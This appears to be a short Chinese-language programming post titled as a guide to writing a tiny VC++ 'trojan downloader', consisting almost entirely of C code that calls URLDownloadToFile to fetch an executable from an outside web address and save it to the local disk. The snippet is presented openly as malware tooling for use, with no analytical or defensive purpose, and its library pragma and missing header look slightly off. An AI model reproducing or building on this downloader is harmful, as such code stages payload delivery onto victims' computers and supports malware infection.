vc++编写一个木马下载器,体积仅有0.3K
#include <urlmon.h>
#pragma link "w32inet.lib"
int main()
{
HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d:\\abc.exe",0,0);
if(hRet==S_OK)
{
printf("Download OK!\n");
}
else
{
printf("Download Failed!\n");
}
return 0;
}